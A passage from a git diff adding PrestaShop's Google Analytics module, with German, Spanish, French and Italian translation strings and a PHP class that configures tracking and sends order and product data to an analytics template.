Profil und klicken dann auf \"Bearbeiten\"'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c3b99aa9b4638183dc1bf55f955ed9ae'] = 'Geben Sie die Ziel-URL ein. Das Erreichen dieser Seite ist ein Zeichen für eine erfolgreiche Umwandlung'; +$_MODULE['<{ganalytics}prestashop>ganalytics_54849fd1a3b8bdde81bfd979bc43aaa9'] = 'Geben Sie den Zielnamen ein, wie er in Ihrem Google Analytics-Konto angezeigt werden soll'; +$_MODULE['<{ganalytics}prestashop>ganalytics_62034d209119c06315f59a5de39c6717'] = 'Aktivieren Sie das Ziel'; +$_MODULE['<{ganalytics}prestashop>ganalytics_792795e7f3cedd66897ca35349101ba8'] = 'Dann definieren Sie mit den folgenden Schritten einen Trichter:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_467ed594f2aa9b3e802037a10bad61b1'] = 'Geben Sie die URL der ersten Seite Ihres Umwandlungstrichters ein. Dies sollte allen Nutzern vertraut sein, die auf Ihr Ziel zugehen.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_2edf3f56ba30ad663429ba0e812a2396'] = 'Geben Sie einen Namen für diesen Schritt ein.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c909bea215f88ff0de9888dc95eed1ca'] = 'Wenn dieser Schritt erforderlich für die Umwandlung ist, klicken Sie das Kontrollkästchen rechts von diesem Schritt an.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9d25cb4b66791343ca319b3cdb82dba6'] = 'Geben Sie weitere Zielschritte ein, bis Ihr Trichter vollständig definiert ist. Sie können bis zu 10 Schritte oder auch nur einen einzigen Schritt eingeben.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_1c681b64f4cd8f52aecbb55c98f5c768'] = 'Konfigurieren Sie abschließend die Zusätzlichen Einstellungen durch die folgenden Schritte unten:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_bb1ca9cfa0f3f7dbd06a2364c9a0dc9c'] = 'Wenn die oben angegebenen URLs die Groß-/Kleinschreibung berücksichtigen, markieren Sie das Kontrollkästchen.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_047cf7562621a3639b3e04a63dc6b41f'] = 'Wählen Sie den entsprechenden Ziel-Übereinstimmungstyp. ('; +$_MODULE['<{ganalytics}prestashop>ganalytics_d59048f21fd887ad520398ce677be586'] = 'Erfahren Sie mehr'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f0c5b61aabf16d5ce925722b65c9aad8'] = 'über Übereinstimmungstypen und wie den entsprechenden Ziel-Übereinstimmungstyp für Ihr Ziel wählen können.)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3dcb5dddc6b7c11d4ea76a60dc1a0466'] = 'Geben Sie einen Zielwert ein. Dies ist der Wert, der in den Google Analytics ROI-Berechnungen verwendet wird.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a39f026ca75c6279ac9487265c00e3f5'] = 'Klicken Sie auf Änderungen speichern, um dieses Ziel und diesen Trichter zu erstellen , oder Abbrechen, um ohne Speichern zu beenden.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_cd4952b65560a1242c68ffc980a6e515'] = 'Demonstration: Der Bestellvorgang'; +$_MODULE['<{ganalytics}prestashop>ganalytics_efbf206b1b60cc0400c6147723509bd6'] = 'Nachdem Sie Ihre E-Commerce-Berichte aktiviert und das jeweilige Profil ausgewählt haben, geben Sie \'bestellung-bestätigung.php\' ein, als gewünschte URL-Seite'; +$_MODULE['<{ganalytics}prestashop>ganalytics_68db264effa9364901183d9d12fac500'] = 'Dieses Ziel benennen (zum Beispiel \'Bestellvorgang\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9b8bc3519c65da8fac122f91ac5b7673'] = 'Aktivieren Sie das Ziel'; +$_MODULE['<{ganalytics}prestashop>ganalytics_86a358dd6df1ba0cb3565b88380ba7a6'] = 'Fügen Sie \'product.php\' als erste Seite Ihres Umwandlungstrichters hinzu'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b7f896191caad09b5fc34e79f1cefa76'] = 'Benennen Sie sie (zum Beispiel \'Produktseite\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_ef7060dd05e779dcfbf82f236df43823'] = 'Markieren Sie das Kontrollkästchen nicht als \"erforderlich\", denn der Kunde kann direkt von einer \"In den Warenkorb\"-Schaltfläche gekommen sein wie etwa auf dem Startseitenblock '; +$_MODULE['<{ganalytics}prestashop>ganalytics_3bab28a0105361c49ca261ca08a19bf7'] = 'Fahren Sie fort, indem Sie die folgenden URLs als Zielschritte eingeben:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9bfb6e6af6e6793bfa9387e728187c87'] = '(Erforderlich)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a47891ae07f45802bc948d2618e36f5'] = 'Überprüfen Sie die \'Groß-/Kleinschreibung\'-Option'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d2d0c38d112e1d775057388122ae7545'] = 'Speichern Sie dieses neue Ziel'; diff --git a/modules/ganalytics/es.php b/modules/ganalytics/es.php new file mode 100755 index 0000000..30cbf51 --- /dev/null +++ b/modules/ganalytics/es.php @@ -0,0 +1,49 @@ +ganalytics_7510f8b22dd3e10476096425f78d4239'] = 'Aún no ha configurado su ID de Google Analytics'; +$_MODULE['<{ganalytics}prestashop>ganalytics_aba1a7971f85c725ba4aed21343eeb4b'] = 'Integrar el script de Google Analytics en su tienda'; +$_MODULE['<{ganalytics}prestashop>ganalytics_fa214007826415a21a8456e3e09f999d'] = '¿Está seguro de querer eliminar todos sus datos?'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c888438d14855d7d96a2724ee9c306bd'] = 'Configuración actualizada'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f4f70727dc34561dfde1a3c529b6205c'] = 'Configuración'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d7c9ce3337a28d63ce6626d90fdaedaa'] = 'Su nombre de usuario'; +$_MODULE['<{ganalytics}prestashop>ganalytics_81eeab9506186e2dca8faefa78d54067'] = 'Ejemplo:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a3e7f361e6fc12caf872119338642143'] = 'Actualizar ID'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a26f548831e6a8c26bfbbd9f6ec61e0'] = 'Ayuda'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d78b0fcff6b55bafe615f3fc1572c282'] = 'El primer paso para seguir las transacciones de comercio electrónico es activar el informe de su tienda en su perfil.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d02388589ecfd3b58e0a90e42127ca61'] = 'Para activar el informe de comercio electrónico, por favor revise estos pasos:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_11f4b4ba23dc72ee5e86ff5a90bdde60'] = 'Entrar en su cuenta'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b452493b16ead8b4b25ab3fb7174b8f5'] = 'Haga clic en Editar en el perfil que quiere activar'; +$_MODULE['<{ganalytics}prestashop>ganalytics_95df6d8c97e880d8f6895d824d72c353'] = 'En la página de Configuración del Perfil, haga clic en \\\"Editar\\\" para el Perfil de Información de la Web Principal'; +$_MODULE['<{ganalytics}prestashop>ganalytics_5189c0be0481408c9301c377818e69dc'] = 'seleccione sí/no en Web de comercio electrónico'; +$_MODULE['<{ganalytics}prestashop>ganalytics_98d12a01ab2aeeb10b7100eecf1974a8'] = 'Para configurar sus objetivos, introduzca información sobre ellos:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a44698a775d2fec04549ba6a2ac00491'] = 'Volver a la página principal de su cuenta'; +$_MODULE['<{ganalytics}prestashop>ganalytics_dbec126ee3be2cd285a32a8d413fd1fa'] = 'Encuentra el perfil del objetivo que quieres crear, y pulsa \\\"Editar\\\"'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c4af40d39b97cf98040540639841e27a'] = 'Seleccione uno de los cuatro objetivos disponibles para su perfil, después haga clic en Edit'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c3b99aa9b4638183dc1bf55f955ed9ae'] = 'Introduzca la URL objetivo. Acceder a esta página generará una conversión correcta'; +$_MODULE['<{ganalytics}prestashop>ganalytics_54849fd1a3b8bdde81bfd979bc43aaa9'] = 'Introduzca el nombre del objetivo tal como aparece en su cuenta Google Analytics'; +$_MODULE['<{ganalytics}prestashop>ganalytics_62034d209119c06315f59a5de39c6717'] = 'Activar el objetivo'; +$_MODULE['<{ganalytics}prestashop>ganalytics_792795e7f3cedd66897ca35349101ba8'] = 'Después, defina un redireccionamiento siguiendo estos pasos:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_467ed594f2aa9b3e802037a10bad61b1'] = 'Introduzca la URL de la primera página de su redireccionamiento de conversión. Esta página deberá ser común para todos los usuarios hacia su objetivo.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_2edf3f56ba30ad663429ba0e812a2396'] = 'Introduzca un nombre para este paso'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c909bea215f88ff0de9888dc95eed1ca'] = 'Si este paso es necesario en el proceso de conversión, seleccione la casilla de la derecha del paso.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9d25cb4b66791343ca319b3cdb82dba6'] = 'Continue avanzando hasta completar el objetivo. Debe introducir de 1 a 10 etapas.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_1c681b64f4cd8f52aecbb55c98f5c768'] = 'Para terminar, configure los parámetros complementarios para continuar los siguientes pasos: '; +$_MODULE['<{ganalytics}prestashop>ganalytics_bb1ca9cfa0f3f7dbd06a2364c9a0dc9c'] = 'Si las URLs introducidas arriba distinguen entre mayúsculas y minúsculas, marque la casilla de verificación.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_047cf7562621a3639b3e04a63dc6b41f'] = 'Seleccione el objetivo apropiado. ('; +$_MODULE['<{ganalytics}prestashop>ganalytics_d59048f21fd887ad520398ce677be586'] = 'Más información'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f0c5b61aabf16d5ce925722b65c9aad8'] = 'sobre los Tipos de Partidos y sobre la manera de elegir el tipo de correspondencia adecuada a su objetivo.)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3dcb5dddc6b7c11d4ea76a60dc1a0466'] = 'Introduzca un valor objetivo. Este es el valor utilizado para los cáculos de Google Analitics.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a39f026ca75c6279ac9487265c00e3f5'] = 'Haga clic en \\\"Salvar cambios\\\" para crear este objetivo, o cancelar para salir sin guardar cambios.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_cd4952b65560a1242c68ffc980a6e515'] = 'Demostración: El proceso de pedido'; +$_MODULE['<{ganalytics}prestashop>ganalytics_efbf206b1b60cc0400c6147723509bd6'] = 'Después de activar sus informes sobre e-commerce y de seleccionar el perfil, introduzca \'order-confirmation.php\' como la página URL de destino'; +$_MODULE['<{ganalytics}prestashop>ganalytics_68db264effa9364901183d9d12fac500'] = 'Nombre del objetivo (por ejemplo \\\"proceso del pedido\\\")'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9b8bc3519c65da8fac122f91ac5b7673'] = 'Activar el objetivo'; +$_MODULE['<{ganalytics}prestashop>ganalytics_86a358dd6df1ba0cb3565b88380ba7a6'] = 'Añadir \'producto.php\' como la primera página de redireccionamiento'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b7f896191caad09b5fc34e79f1cefa76'] = 'Dele un nombre (por ejemplo \\\"Página del producto\\\")'; +$_MODULE['<{ganalytics}prestashop>ganalytics_ef7060dd05e779dcfbf82f236df43823'] = 'No marque \\\"obligatorio\\\" porque el cliente deberá visitar desde el botón \\\"Añadir al carrito\\\" como en el homefeatured de producto de la página de inicio.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3bab28a0105361c49ca261ca08a19bf7'] = 'Continúe introduciendo las siguientes URL como objetivos:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9bfb6e6af6e6793bfa9387e728187c87'] = '(obligatorio)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a47891ae07f45802bc948d2618e36f5'] = 'Revise la opción de \\\"distinción mayúsculas-minúsculas\\\"'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d2d0c38d112e1d775057388122ae7545'] = 'Guardar este nuevo objetivo'; diff --git a/modules/ganalytics/fr.php b/modules/ganalytics/fr.php new file mode 100755 index 0000000..a9c594c --- /dev/null +++ b/modules/ganalytics/fr.php @@ -0,0 +1,49 @@ +ganalytics_7510f8b22dd3e10476096425f78d4239'] = 'Vous n\'avez pas encore renseigné votre ID Google Analytics'; +$_MODULE['<{ganalytics}prestashop>ganalytics_aba1a7971f85c725ba4aed21343eeb4b'] = 'Intègre le script de Google Analytics à votre boutique'; +$_MODULE['<{ganalytics}prestashop>ganalytics_fa214007826415a21a8456e3e09f999d'] = 'Etes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d7c9ce3337a28d63ce6626d90fdaedaa'] = 'Votre identifiant'; +$_MODULE['<{ganalytics}prestashop>ganalytics_81eeab9506186e2dca8faefa78d54067'] = 'Exemple :'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a3e7f361e6fc12caf872119338642143'] = 'Enregistrer l\'identifiant'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a26f548831e6a8c26bfbbd9f6ec61e0'] = 'Aide'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d78b0fcff6b55bafe615f3fc1572c282'] = 'La première étape pour analyser les transactions e-commerce consiste à activer l\'archivage sur le profil de votre site.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d02388589ecfd3b58e0a90e42127ca61'] = 'Pour activer l\'option e-commerce, suivez ces étapes :'; +$_MODULE['<{ganalytics}prestashop>ganalytics_11f4b4ba23dc72ee5e86ff5a90bdde60'] = 'Connectez-vous à votre compte'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b452493b16ead8b4b25ab3fb7174b8f5'] = 'Cliquez sur Edit, à côté du profil que vous désirez activer'; +$_MODULE['<{ganalytics}prestashop>ganalytics_95df6d8c97e880d8f6895d824d72c353'] = 'Sur la page \"Paramètres des profils\", cliquez sur \"Modifier\" en regard de l\'option \"Informations sur le profil du site principal\"'; +$_MODULE['<{ganalytics}prestashop>ganalytics_5189c0be0481408c9301c377818e69dc'] = 'Modifiez le bouton radio \"E-commerce\" sur \"Oui\"'; +$_MODULE['<{ganalytics}prestashop>ganalytics_98d12a01ab2aeeb10b7100eecf1974a8'] = 'Afin de définir vos objectifs, saisissez les informations de l\'objectif :'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a44698a775d2fec04549ba6a2ac00491'] = 'Retournez sur la page d\'accueil de votre compte'; +$_MODULE['<{ganalytics}prestashop>ganalytics_dbec126ee3be2cd285a32a8d413fd1fa'] = 'Trouvez le profil correspondant à l\'objectif et éditez-le'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c4af40d39b97cf98040540639841e27a'] = 'Sélectionnez un des 4 emplacements disponibles pour ce profil et cliquez sur Editer'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c3b99aa9b4638183dc1bf55f955ed9ae'] = 'Entrez l\'URL de la page d\'objectif. Une conversion est enregistrée chaque fois qu\'un visiteur accède à cette page'; +$_MODULE['<{ganalytics}prestashop>ganalytics_54849fd1a3b8bdde81bfd979bc43aaa9'] = 'Entrez le nom de l\'objectif tel qu\'il doit apparaître dans votre compte Google Analytics.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_62034d209119c06315f59a5de39c6717'] = 'Activez l\'objectif'; +$_MODULE['<{ganalytics}prestashop>ganalytics_792795e7f3cedd66897ca35349101ba8'] = 'Ensuite, définissez un entonnoir de conversion en suivant ces étapes :'; +$_MODULE['<{ganalytics}prestashop>ganalytics_467ed594f2aa9b3e802037a10bad61b1'] = 'Entrez l\'URL de la première page de votre entonnoir de conversion. Cette page doit être commune à tous les internautes que vous souhaitez amener jusqu\'à votre objectif'; +$_MODULE['<{ganalytics}prestashop>ganalytics_2edf3f56ba30ad663429ba0e812a2396'] = 'Attribuez un nom à cette étape.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c909bea215f88ff0de9888dc95eed1ca'] = 'Si cette étape est obligatoire dans l\'objectif, cochez la case à droite de cette étape.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9d25cb4b66791343ca319b3cdb82dba6'] = 'Entrez toutes les étapes précédant l\'objectif jusqu\'à ce que vous ayez terminé de définir l\'entonnoir de conversion. Vous pouvez entrer de 1 à 10 étapes'; +$_MODULE['<{ganalytics}prestashop>ganalytics_1c681b64f4cd8f52aecbb55c98f5c768'] = 'Pour finir, configurez les Paramètres complémentaires en procédant comme suit :'; +$_MODULE['<{ganalytics}prestashop>ganalytics_bb1ca9cfa0f3f7dbd06a2364c9a0dc9c'] = 'Si les URL entrées ci-dessus sont sensibles à la casse, cochez la case.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_047cf7562621a3639b3e04a63dc6b41f'] = 'Sélectionnez l\'objectif approprié. ('; +$_MODULE['<{ganalytics}prestashop>ganalytics_d59048f21fd887ad520398ce677be586'] = 'En savoir plus'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f0c5b61aabf16d5ce925722b65c9aad8'] = 'sur les types de correspondances et sur la façon de choisir le type de correspondance approprié à votre objectif)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3dcb5dddc6b7c11d4ea76a60dc1a0466'] = 'Entrez un objectif. Cette valeur est utilisée par les calculs ROI de Google Analytics.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a39f026ca75c6279ac9487265c00e3f5'] = 'Cliquez sur Enregistrer les modifications pour créer cet objectif et cet entonnoir de conversion ou sur Annuler pour quitter sans enregistrer.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_cd4952b65560a1242c68ffc980a6e515'] = 'Démonstration : Le processus de commande'; +$_MODULE['<{ganalytics}prestashop>ganalytics_efbf206b1b60cc0400c6147723509bd6'] = 'Après avoir activé vos reports e-commerce et sélectionné les profils respectifs, entrez \'order-confirmation.php\' comme page cible.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_68db264effa9364901183d9d12fac500'] = 'Nommez cet objectif (par exemple \'Processus de commande\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9b8bc3519c65da8fac122f91ac5b7673'] = 'Activez l\'objectif'; +$_MODULE['<{ganalytics}prestashop>ganalytics_86a358dd6df1ba0cb3565b88380ba7a6'] = 'Ajoutez \'product.php\' comme la première page du cheminement de vos visiteurs'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b7f896191caad09b5fc34e79f1cefa76'] = 'Donnez lui un nom (par exemple \'Page produit\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_ef7060dd05e779dcfbf82f236df43823'] = 'N\'activez pas la case \'requis\' parce que les clients pourraient visiter directement par un bouton \'Ajouter au panier\', tel que dans le module HomeFeatured sur la page d\'accueil.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3bab28a0105361c49ca261ca08a19bf7'] = 'Faites de même en entrant les urls suivantes comme étapes de l\'objectif'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9bfb6e6af6e6793bfa9387e728187c87'] = 'requis'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a47891ae07f45802bc948d2618e36f5'] = 'Vérifiez l\'option \'sensibilité de la casse\''; +$_MODULE['<{ganalytics}prestashop>ganalytics_d2d0c38d112e1d775057388122ae7545'] = 'Sauvegardez cet objectif'; diff --git a/modules/ganalytics/ganalytics.php b/modules/ganalytics/ganalytics.php new file mode 100755 index 0000000..af0dcce --- /dev/null +++ b/modules/ganalytics/ganalytics.php @@ -0,0 +1,234 @@ + +* @copyright 2007-2011 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class GAnalytics extends Module +{ + function __construct() + { + $this->name = 'ganalytics'; + $this->tab = 'analytics_stats'; + $this->version = '1.5'; + $this->author = 'PrestaShop'; + $this->displayName = 'Google Analytics'; + $this->module_key = 'fd2aaefea84ac1bb512e6f1878d990b8'; + + parent::__construct(); + + if ($this->id AND !Configuration::get('GANALYTICS_ID')) + $this->warning = $this->l('You have not yet set your Google Analytics ID'); + $this->description = $this->l('Integrate Google Analytics script into your shop'); + $this->confirmUninstall = $this->l('Are you sure you want to delete your details ?'); + + /** Backward compatibility */ + require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + } + + function install() + { + return (parent::install() && $this->registerHook('header') && $this->registerHook('orderConfirmation')); + } + + public function getContent() + { + $output = '

          Google Analytics

          '; + if (Tools::isSubmit('submitGAnalytics')) + { + Configuration::updateValue('GANALYTICS_ID', Tools::getValue('ganalytics_id')); + Configuration::updateValue('UGANALYTICS', Tools::getValue('universal_analytics')); + $output .= ' +
          + + '.$this->l('Settings updated').' +
          '; + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
          +
          + '.$this->l('Settings').' + +
          + +

          '.$this->l('Example:').' UA-1234567-1

          + +

          '.$this->l('Universal Analytics Active').'

          +
          +
          +
          +
          '; + + $output .= ' +
          + '.$this->l('Help').' +

          '.$this->l('The first step of tracking e-commerce transactions is to enable e-commerce reporting for your website\'s profile.').'

          + '.$this->l('To enable e-Commerce reporting, please follow these steps:').' +
            +
          1. '.$this->l('Log in to your account').'
          2. +
          3. '.$this->l('Click Edit next to the profile you would like to enable.').'
          4. +
          5. '.$this->l('On the Profile Settings page, click Edit (next to Main Website Profile Information).').'
          6. +
          7. '.$this->l('Change the e-Commerce Website radio button from No to Yes').'
          8. +
          +

          '.$this->l('To set up your goals, enter Goal Information:').'

          +
            +
          1. '.$this->l('Return to Your Account main page').'
          2. +
          3. '.$this->l('Find the profile for which you will be creating goals, then click Edit').'
          4. +
          5. '.$this->l('Select one of the 4 goal slots available for that profile, then click Edit').'
          6. +
          7. '.$this->l('Enter the Goal URL. Reaching this page marks a successful conversion.').'
          8. +
          9. '.$this->l('Enter the Goal name as it should appear in your Google Analytics account.').'
          10. +
          11. '.$this->l('Turn on Goal.').'
          12. +
          +

          '.$this->l('Then, define a funnel by following these steps:').'

          +
            +
          1. '.$this->l('Enter the URL of the first page of your conversion funnel. This page should be a common page to all users working their way towards your Goal.').'
          2. +
          3. '.$this->l('Enter a Name for this step.').'
          4. +
          5. '.$this->l('If this step is a required step in the conversion process, mark the checkbox to the right of the step.').'
          6. +
          7. '.$this->l('Continue entering goal steps until your funnel has been completely defined. You may enter up to 10 steps, or only one step.').'
          8. +
          + '.$this->l('Finally, configure Additional settings by following the steps below:').' +
            +
          1. '.$this->l('If the URLs entered above are case sensitive, mark the checkbox.').'
          2. +
          3. '.$this->l('Select the appropriate goal Match Type. (').''.$this->l('Learn more').' '.$this->l('about Match Types and how to choose the appropriate goal Match Type for your goal.)').'
          4. +
          5. '.$this->l('Enter a Goal value. This is the value used in Google Analytics\' ROI calculations.').'
          6. +
          7. '.$this->l('Click Save Changes to create this Goal and funnel, or Cancel to exit without saving.').'
          8. +
          +

          '.$this->l('Demonstration: The order process').'

          +
            +
          1. '.$this->l('After having enabled your e-commerce reports and selected the respective profile enter \'order-confirmation.php\' as the targeted page URL.').'
          2. +
          3. '.$this->l('Name this goal (for example \'Order process\')').'
          4. +
          5. '.$this->l('Activate the goal').'
          6. +
          7. '.$this->l('Add \'product.php\' as the first page of your conversion funnel').'
          8. +
          9. '.$this->l('Give it a name (for example, \'Product page\')').'
          10. +
          11. '.$this->l('Do not mark the \'required\' checkbox because the customer could be visiting directly from an \'adding to cart\' button such as in the homefeatured block on the homepage.').'
          12. +
          13. '.$this->l('Continue by entering the following URLs as goal steps:').' +
              +
            • order/step0.html '.$this->l('(required)').'
            • +
            • authentication.php '.$this->l('(required)').'
            • +
            • order/step1.html '.$this->l('(required)').'
            • +
            • order/step2.html '.$this->l('(required)').'
            • +
            • order/step3.html '.$this->l('(required)').'
            • +
            +
          14. +
          15. '.$this->l('Check the \'Case sensitive\' option').'
          16. +
          17. '.$this->l('Save this new goal').'
          18. +
          +
          '; + + return $output; + } + + function hookHeader($params) + { + if ((method_exists('Language', 'isMultiLanguageActivated') && Language::isMultiLanguageActivated()) + || Language::countActiveLanguages() > 1) + $multilang = (string)Tools::getValue('isolang').'/'; + else + $multilang = ''; + + $defaultMetaOrder = Meta::getMetaByPage('order',$this->context->language->id); + if (strpos($_SERVER['REQUEST_URI'], __PS_BASE_URI__.'order.php') === 0 || strpos($_SERVER['REQUEST_URI'], __PS_BASE_URI__.$multilang.$defaultMetaOrder['url_rewrite']) === 0) + $this->context->smarty->assign('pageTrack', '/order/step'.(int)Tools::getValue('step').'.html'); + + $this->context->smarty->assign('ganalytics_id', Configuration::get('GANALYTICS_ID')); + $this->context->smarty->assign('universal_analytics', Configuration::get('UGANALYTICS')); + $this->context->smarty->assign('isOrder', false); + + return $this->display(__FILE__, 'header.tpl'); + } + + function hookFooter($params) + { + // for retrocompatibility + if (!$this->isRegisteredInHook('header')) + $this->registerHook('header'); + return ; + } + + function hookOrderConfirmation($params) + { + // Setting parameters + $parameters = Configuration::getMultiple(array('PS_LANG_DEFAULT')); + + $order = $params['objOrder']; + if (Validate::isLoadedObject($order)) + { + $deliveryAddress = new Address(intval($order->id_address_delivery)); + + $conversion_rate = 1; + if ($order->id_currency != Configuration::get('PS_CURRENCY_DEFAULT')) + { + $currency = new Currency(intval($order->id_currency)); + $conversion_rate = floatval($currency->conversion_rate); + } + + // Order general information + $trans = array( + 'id' => intval($order->id), // order ID - required + 'store' => htmlentities(Configuration::get('PS_SHOP_NAME')), // affiliation or store name + 'total' => Tools::ps_round(floatval($order->total_paid) / floatval($conversion_rate), 2), // total - required + 'tax' => '0', // tax + 'shipping' => Tools::ps_round(floatval($order->total_shipping) / floatval($conversion_rate), 2), // shipping + 'city' => addslashes($deliveryAddress->city), // city + 'state' => '', // state or province + 'country' => addslashes($deliveryAddress->country) // country + ); + + // Product information + $products = $order->getProducts(); + foreach ($products AS $product) + { + $category = Db::getInstance()->getRow(' + SELECT name FROM `'._DB_PREFIX_.'category_lang` , '._DB_PREFIX_.'product + WHERE `id_product` = '.intval($product['product_id']).' AND `id_category_default` = `id_category` + AND `id_lang` = '.intval($parameters['PS_LANG_DEFAULT'])); + + $items[] = array( + 'OrderId' => intval($order->id), // order ID - required + 'SKU' => addslashes($product['product_id']), // SKU/code - required + 'Product' => addslashes($product['product_name']), // product name + 'Category' => addslashes($category['name']), // category or variation + 'Price' => Tools::ps_round(floatval($product['product_price_wt']) / floatval($conversion_rate), 2), // unit price - required + 'Quantity' => addslashes(intval($product['product_quantity'])) //quantity - required + ); + } + $ganalytics_id = Configuration::get('GANALYTICS_ID'); + + $this->context->smarty->assign('items', $items); + $this->context->smarty->assign('trans', $trans); + $this->context->smarty->assign('ganalytics_id', $ganalytics_id); + $this->context->smarty->assign('universal_analytics', Configuration::get('UGANALYTICS')); + $this->context->smarty->assign('isOrder', true); + return $this->display(__FILE__, 'header.tpl'); + } + } +} diff --git a/modules/ganalytics/header.tpl b/modules/ganalytics/header.tpl new file mode 100755 index 0000000..f000de2 --- /dev/null +++ b/modules/ganalytics/header.tpl @@ -0,0 +1,88 @@ + diff --git a/modules/ganalytics/index.php b/modules/ganalytics/index.php new file mode 100755 index 0000000..fee9edb --- /dev/null +++ b/modules/ganalytics/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/ganalytics/it.php b/modules/ganalytics/it.php new file mode 100755 index 0000000..0241854 --- /dev/null +++ b/modules/ganalytics/it.php @@ -0,0 +1,49 @@ +ganalytics_7510f8b22dd3e10476096425f78d4239'] = 'Non hai ancora impostato l\'ID di Google Analytics'; +$_MODULE['<{ganalytics}prestashop>ganalytics_aba1a7971f85c725ba4aed21343eeb4b'] = 'Integra lo script di Google Analytics nel tuo negozio'; +$_MODULE['<{ganalytics}prestashop>ganalytics_fa214007826415a21a8456e3e09f999d'] = 'Sei sicuro di voler cancellare i tuoi dati?'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c888438d14855d7d96a2724ee9c306bd'] = 'Impostazioni aggiornate'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f4f70727dc34561dfde1a3c529b6205c'] = 'Impostazioni'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d7c9ce3337a28d63ce6626d90fdaedaa'] = 'Il tuo nome utente'; +$_MODULE['<{ganalytics}prestashop>ganalytics_81eeab9506186e2dca8faefa78d54067'] = 'Esempio:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a3e7f361e6fc12caf872119338642143'] = 'Aggiorna ID'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a26f548831e6a8c26bfbbd9f6ec61e0'] = 'Aiuto'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d78b0fcff6b55bafe615f3fc1572c282'] = 'La prima fase del monitoraggio delle 